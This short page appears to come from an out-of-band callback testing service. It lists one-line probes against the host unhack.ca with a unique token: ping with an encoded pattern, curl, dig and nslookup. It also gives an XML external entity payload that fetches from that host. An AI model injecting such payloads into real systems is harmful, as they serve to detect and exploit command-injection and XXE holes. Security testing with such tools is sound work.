$ ping -c1 -p 00cbfdb48425cb300dee691978299000 unhack.ca
 
$ curl http://unhack.ca/p/cbfdb48425cb300dee6919782990
 
$ dig cbfdb48425cb300dee6919782990 @unhack.ca
 
$ dig cbfdb48425cb300dee6919782990.ns.unhack.ca
 
C:\> nslookup cbfdb48425cb300dee6919782990 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cbfdb48425cb300dee6919782990">]>
    <foo>&xxe;</foo>
Waiting for ping...